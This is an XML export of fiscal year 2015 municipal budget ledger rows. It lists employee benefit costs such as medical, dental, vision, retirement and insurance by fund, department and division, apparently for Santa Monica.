<row _id="17771"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>52959</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52959</total></row>
<row _id="17772"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>797073</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>797073</total></row>
<row _id="17773"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1546773</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1546773</total></row>
<row _id="17774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>129122</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>129122</total></row>
<row _id="17775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12320</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12320</total></row>
<row _id="17776"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>25780</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25780</total></row>
<row _id="17777"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12572</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12572</total></row>
<row _id="17778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3660</total></row>
<row _id="17779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6321</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6321</total></row>
<row _id="17780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8448</total></row>
<row _id="17781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>735</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>735</total></row>
<row _id="17782"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17783"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3206</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3206</total></row>
<row _id="17784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1592</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1592</total></row>
<row _id="17785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>641289</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>641289</total></row>
<row _id="17786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>70309</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70309</total></row>
<row _id="17787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>72</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72</total></row>
<row _id="17788"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>714</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>714</total></row>
<row _id="17789"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>524</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>524</total></row>
<row _id="17790"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2824</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2824</total></row>
<row _id="17791"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17792"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3708</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3708</total></row>
<row _id="17793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>938</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>938</total></row>
<row _id="17794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2946</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2946</total></row>
<row _id="17795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1893</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1893</total></row>
<row _id="17796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>792</total></row>
<row _id="17797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7042</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7042</total></row>
<row _id="17798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>790</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>790</total></row>
<row _id="17799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2009</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2009</total></row>
<row _id="17800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>314</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>314</total></row>
<row _id="17801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>216</total></row>
<row _id="17802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1535</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1535</total></row>
<row _id="17803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2986</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2986</total></row>
<row _id="17804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3662</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3662</total></row>
<row _id="17805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>25028</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25028</total></row>
<row _id="17806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>790</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>790</total></row>
<row _id="17807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16675</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16675</total></row>
<row _id="17808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6617</total></row>
<row _id="17810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8706</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8706</total></row>
<row _id="17811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4455</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4455</total></row>
<row _id="17812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>39800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39800</total></row>
<row _id="17813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1262</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1262</total></row>
<row _id="17814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3168</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3168</total></row>
<row _id="17815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10501</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10501</total></row>
<row _id="17816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3343</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3343</total></row>
<row _id="17817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>103310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>103310</total></row>
<row _id="17818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>952</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>952</total></row>
<row _id="17819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>431557</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>431557</total></row>
<row _id="17820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>306796</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>306796</total></row>
